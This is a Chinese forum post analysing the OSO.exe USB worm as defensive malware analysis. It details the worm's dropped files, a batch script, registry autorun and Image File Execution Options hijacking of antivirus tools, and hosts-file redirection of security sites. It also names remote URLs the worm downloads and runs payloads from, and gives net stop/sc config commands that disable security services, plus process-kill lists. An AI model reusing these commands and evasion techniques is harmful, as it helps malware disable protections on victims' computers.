发布于2022年11月8日3年前 对于U盘感染OSO.exe病毒的正确分析之前见卡卡上某个菜鸟斑竹搞了篇这个的分析，还号称用了OD，结果出来的结果是错误百出，许多重要细节都没有提到，另外 对于病毒加密的那部分操作更是闭口不提，实在让人看不下去，放一篇正确的分析好了病毒启动后用explorer打开:d:\e:\f:\g:\h:\i:\system32下:随机名.exe随机名.dllsevere.exehx1.batnoruns.regdrivers目录下:conime.exe随机名.exe各盘符下:OSO.exeautorun.inf运行:system32下 随机.exesevere.exedrivers\conime.exe创建线程:sub_404958生成hx1.bat内容:@echo offset date=2004-1-22ping ** localhost > nuldate %date%del %0bat的手段及习惯和ASN.2相似,可能同一作者修改注册表:1.software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall下CheckedValue为0(old=1)2.Software\Microsoft\Windows\CurrentVersion\Run下启动项(随机)3.Software\Microsoft\Windows\CurrentVersion\Run下启动项(severe.exe)4.SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下启动项Shell = Explorer.exe %System32%\drivers\conime.exe5.Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*下Debugger=随机名.exe*为被屏蔽的软件屏蔽次序如下:MagicSet.exeRav.exeavp.comavp.exeKRegEx.exeKvDetect.exeKvXP.kxpTrojDie.kxpKVMonXP.kxpIceSword.exemmsk.exeWoptiClean.exekabaload.exe360Safe.exeruniep.exeiparmo.exeadam.exeRavMon.exeQQDoctor.exeSREng.exeRas.exemsconfig.exeregedit.exeregedit.commsconfig.comPFW.exePFWLiveUpdate.exeEGHOST.exeNOD32.exe该串屏蔽列表和ASN.2的比较相似随机名生成字串: @#Z!$/kqj每隔1800秒创建线程sub_40B950将自己copy到drivers目录下conime.exe执行drivers\conime.exe每隔1500秒创建线程将自己copy到system32目录下随机名.exe执行随机名.exe每隔1500秒释放autorun.inf到各盘下copy/执行drivers下conime.exe创建自己的互斥对象 Q X-1,QX-2,QX-3分别是3个EXE相互识别的方法其实3个运行中EXE是同一个文件,只是运行次序不同,使用多个不同的互斥对象进行协作创建线程:sub_4097C0:1.运行noruns.reg[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"NoDriveTypeAutoRun"=dword:b52.删除kakatool.dll 删除dqhx2.txt,dqhx3.txt 结束进程:NTdhcp.exe, SVCHOXT.EXE 修改hosts表,添加:127.0.0.1 localhost127.0.0.1 mmsk.cn127.0.0.1 ikaka.com127.0.0.1 safe.qq.com127.0.0.1 360safe.com127.0.0.1 www.mmsk.cn127.0.0.1 www.ikaka.com127.0.0.1 tool.ikaka.com127.0.0.1 tool.ikaka.com127.0.0.1 www.360safe.com127.0.0.1 zs.kingsoft.com127.0.0.1 forum.ikaka.com127.0.0.1 up.rising.com.cn127.0.0.1 scan.kingsoft.com127.0.0.1 kvup.jiangmin.com127.0.0.1 reg.rising.com.cn127.0.0.1 update.rising.com.cn127.0.0.1 update7.jiangmin.com127.0.0.1 download.rising.com.cn127.0.0.1 dnl-us1.kaspersky-labs.com127.0.0.1 dnl-us2.kaspersky-labs.com127.0.0.1 dnl-us3.kaspersky-labs.com127.0.0.1 dnl-us4.kaspersky-labs.com127.0.0.1 dnl-us5.kaspersky-labs.com127.0.0.1 dnl-us6.kaspersky-labs.com127.0.0.1 dnl-us7.kaspersky-labs.com127.0.0.1 dnl-us8.kaspersky-labs.com127.0.0.1 dnl-us9.kaspersky-labs.com127.0.0.1 dnl-us10.kaspersky-labs.com127.0.0.1 dnl-eu1.kaspersky-labs.com127.0.0.1 dnl-eu1.kaspersky-labs.com127.0.0.1 dnl-eu2.kaspersky-labs.com127.0.0.1 dnl-eu3.kaspersky-labs.com127.0.0.1 dnl-eu4.kaspersky-labs.com127.0.0.1 dnl-eu5.kaspersky-labs.com127.0.0.1 dnl-eu6.kaspersky-labs.com127.0.0.1 dnl-eu7.kaspersky-labs.com127.0.0.1 dnl-eu8.kaspersky-labs.com127.0.0.1 dnl-eu9.kaspersky-labs.com127.0.0.1 dnl-eu10.kaspersky-labs.com创建线程: sub_40B0C81.从 http://www.cd321.net/30w.txt获取更新并下载执行2.从 http://www.ctv163.com/admin/down.txt获取更新并下载执行创建线程: sub_40AD141.创建互斥体:ExeMutex_QQRobber2.0,DllMutex_QQRobber2.0,阻止QQ大盗运行2.查找所有窗口标题,找到包含:杀毒,专杀,病毒,木马,注册表的窗口给它们投递WM_QUIT消息,使之退出3.运行命令:net stop srservicesc config srservice start= disablednet stop stop sharedaccessnet stop KVWSCsc config KVWSC start= disablednet stop KVSrvXPsc config KVSrvXP start= disablednet stop kavsvcsc config kavsvc start= disabledsc config RsRavMon start= disablednet stop RsCCentersc config RsCCenter start= disablednet stop RsRavMon4.找到包含"瑞星提示"的窗口,并在该窗口上使用FindWindowsEx找到标题为"是(&Y)"的按钮,向其投递BM_CLICK消息,自动点击是按钮5.查找并结束下列进程:sc.execmd.exenet.exesc1.exenet1.exePFW.exeKav.exeKVOL.exeKVFW.exeadam.exeqqav.exeqqkav.exeTBMon.exekav32.exekvwsc.exeCCAPP.exeKRegEx.exekavsvc.exeVPTray.exeRAVMON.exeEGHOST.exeKavPFW.exeSHSTAT.exeRavTask.exeTrojDie.kxpIparmor.exeMAILMON.exeMCAGENT.exeKAVPLUS.exeRavMonD.exeRtvscan.exeNvsvc32.exeKVMonXP.exeKvsrvxp.exeCCenter.exeKpopMon.exeRfwMain.exeRfwMain.exeMCVSESCN.exeMSKAGENT.exekvolself.exeKVCenter.kxpkavstart.exeRAVTIMER.exeRRfwMain.exeFireTray.exeUpdaterUI.exeKVSrvXp_1.exeRavService.exe2.创建互斥体:AntiTrojan3721,ASSISTSHELLMUTEX,SKYNET_PERSONAL_FIREWALL,KingsoftAntivirusScanProgram7Mutex,阻止3721反间谍专家、天网、金山杀毒运行3.进行镜象劫持、启动项、文件隐藏等的注册表修改，见前创建线程: sub_40AC8C该线程在sub_40AD14修改注册表后产生先sleep 8秒再使用FindWindowA找到标题为"瑞星注册表监控提示"的窗口，将其带到前台，然后操作鼠标点击关闭之sleep 1秒再重复查找/关闭动作，重复9次结束[ 本帖最后由 teyqiu 于 2007-2-6 09:44 编辑 ]
创建帐户或登录后发表意见